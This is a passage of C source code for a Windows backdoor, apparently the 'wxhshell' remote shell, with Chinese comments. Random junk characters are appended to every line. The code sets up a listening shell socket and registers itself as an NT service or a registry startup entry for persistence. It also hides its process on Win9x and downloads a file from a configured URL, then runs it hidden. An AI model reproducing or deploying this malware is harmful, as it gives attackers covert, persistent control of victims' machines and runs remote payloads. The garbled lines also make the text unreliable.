DWORD AffinityMask; i-wRwl4aEF
DWORD BasePriority; !-}Q{<2@W
ULONG UniqueProcessId; I9Ohz!RQ
ULONG InheritedFromUniqueProcessId; IVh5SS
} PROCESS_BASIC_INFORMATION; /GGyM]k3
QWOPCoUet
PROCNTQSIP NtQueryInformationProcess; <5E'`T
ch8VJ^%Ra1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4uiq'-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i6V$m hL
w317]-n
HANDLE hProcess; rQ*w3F?:
PROCESS_BASIC_INFORMATION pbi; iXm&\.%
U6/7EOW,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jt5V{9:('
if(NULL == hInst ) return 0; <=n;5hv:
(
3B1X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Em&3g
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Hu[*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); anW['!T9{s
~Yd[&vpQ
if (!NtQueryInformationProcess) return 0; ~JT2el2W7p
8~O#@hB~3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I]eeV+U8W
if(!hProcess) return 0; x >a h,
{nmu(EP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G{: B'08
c)#7T<>*'
CloseHandle(hProcess); 6c]4(%8
@;eH~3P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6 EqN>.
if(hProcess==NULL) return 0; G06;x
F\N0<o
HMODULE hMod; 7#C$}1XJ1
char procName[255]; \L(jNN0_R
unsigned long cbNeeded; }SWfP5D@
9!jF$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bQ>wyA+G&E
%EU_OS(u.{
CloseHandle(hProcess); F8?,}5j
f0g/`j@Up
if(strstr(procName,"services")) return 1; // 以服务启动 n@+?tYk*e
W\Pd:t
return 0; // 注册表启动 IB#
ua:
} "m^gCN}c
qe&|6 M!
// 主模块 ynA_Z^j
int StartWxhshell(LPSTR lpCmdLine) 75;RAKGi
{ Xd:{.AXW
SOCKET wsl; i{EQjZ
BOOL val=TRUE; ]@9W19=P!P
int port=0; A]m*~Vj]
struct sockaddr_in door; sd\}M{U
=iW hK~S
if(wscfg.ws_autoins) Install(); RCTqV.L
CfW#Wk:8J
port=atoi(lpCmdLine); _XZK2Q[
q}Po)IUT`5
if(port<=0) port=wscfg.ws_port; =*'yGB[x)
wm#(\dj
WSADATA data; Pa{DB?P
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LIG@`
4-[U[JJc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5*2hTM!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?:/J8s
[O
door.sin_family = AF_INET; ]uFJ~:R
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tiGH#~?
door.sin_port = htons(port); pHR`%2!"t
\
R}I4'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $DH/
closesocket(wsl); sRT5i9TQ
return 1; WY|~E%k
} CX/[L)|Ru
-}TP)/!,*
if(listen(wsl,2) == INVALID_SOCKET) { [cDDZ+6
closesocket(wsl); (zsmJe
return 1; f
] *w1
} @{qcu\sZ
Wxhshell(wsl); $xW9))
WSACleanup(); G0:<#?<5
w +UBXW
return 0; R5b,/>^'A
MMjewGxe
} ):G+*3yb
/|U;_F Pmc
// 以NT服务方式启动 +xIVlH9`Q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Ax(q&`9
{ dKPXs-5
DWORD status = 0; "8a
V~]~Dj
DWORD specificError = 0xfffffff; R{brf6,
]z7pa^
serviceStatus.dwServiceType = SERVICE_WIN32; J",Cwk\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >1I w!SO+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [i~@X2:Al
serviceStatus.dwWin32ExitCode = 0; Z-t qSw8n
serviceStatus.dwServiceSpecificExitCode = 0; pD P*
3
serviceStatus.dwCheckPoint = 0; 6$PQ$
serviceStatus.dwWaitHint = 0; =^M Q 4
)]Zdaw)X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vB7]L9=@"
if (hServiceStatusHandle==0) return; }c8e t'HYf
Y_$!XIJ4
status = GetLastError(); lz0dt<8eP
if (status!=NO_ERROR) 8B6(SQp%
{ _Iy)p{y
serviceStatus.dwCurrentState = SERVICE_STOPPED; oSYJXs
serviceStatus.dwCheckPoint = 0; ]p(es,[
serviceStatus.dwWaitHint = 0; CA|W4f}
serviceStatus.dwWin32ExitCode = status; /!&eP3^
serviceStatus.dwServiceSpecificExitCode = specificError; ?a+J4Zr3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [EPRBK`=
return; 3J4OkwqD
} M| }?5NS
( q*/=u
serviceStatus.dwCurrentState = SERVICE_RUNNING; .gNJY7`b
serviceStatus.dwCheckPoint = 0; HRahBTd(z
serviceStatus.dwWaitHint = 0; %A
`9[icy
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y"5FK
} @pvQci
\K2S.j
// 处理NT服务事件,比如:启动、停止 'yOx&~H]
VOID WINAPI NTServiceHandler(DWORD fdwControl) #( 4)ps.
{ N["M "s(N
switch(fdwControl) J|V*g]#kP
{ :ldI1*@i<
case SERVICE_CONTROL_STOP: 3KD:JKn^
serviceStatus.dwWin32ExitCode = 0; sFfargl
serviceStatus.dwCurrentState = SERVICE_STOPPED; \SmYxdU'>
serviceStatus.dwCheckPoint = 0; T;kh+i
serviceStatus.dwWaitHint = 0; Ktuv
a3=>N
{ pTQ7woj}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _NuHz
} 2MXg)GBcU>
return; R,!aX"]|
case SERVICE_CONTROL_PAUSE: _B4N2t$
serviceStatus.dwCurrentState = SERVICE_PAUSED; L eUp!
break; q2Gm8>F1y.
case SERVICE_CONTROL_CONTINUE: iF##3H$c
serviceStatus.dwCurrentState = SERVICE_RUNNING; =v !8i
break; '&AeOn
case SERVICE_CONTROL_INTERROGATE: V-%jSe<
break; o9D#d\G
}; nm|"9|/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQ#Kod;)
} s?sr0HZ
ayf;'1
// 标准应用程序主函数 3gCP?%R
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kv5 !cll5
{ 6XhS
g0s
-k,}LJjo
// 获取操作系统版本 D#ED?Lqf
OsIsNt=GetOsVer(); PVq y\i
GetModuleFileName(NULL,ExeFile,MAX_PATH); pkIJbI{aS
(:#4{C
// 从命令行安装 W}^>lM\8
if(strpbrk(lpCmdLine,"iI")) Install(); on\ahk, y]
jA3Ir;a
// 下载执行文件 <UwA5X`0e.
if(wscfg.ws_downexe) { *q1sM#;5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KH$o X\v
WinExec(wscfg.ws_filenam,SW_HIDE); d$D3iv^hyx
} yrMakT =
nzi)4"3O
if(!OsIsNt) { :=`N2D
// 如果时win9x,隐藏进程并且设置为注册表启动 =5p?4/4 J
HideProc(); <~5$<L4
StartWxhshell(lpCmdLine); L#T`h}1Z
} scEE$:
else 6~Zq
if(StartFromService()) y5V]uQSD
// 以服务方式启动 oH
[-fF
StartServiceCtrlDispatcher(DispatchTable); g;nPF*(
else ?P2d
9b
// 普通方式启动 `t#Ie*
StartWxhshell(lpCmdLine); 4y9n,~Qgw
l0wvWv*k
return 0; f;W>:`'
}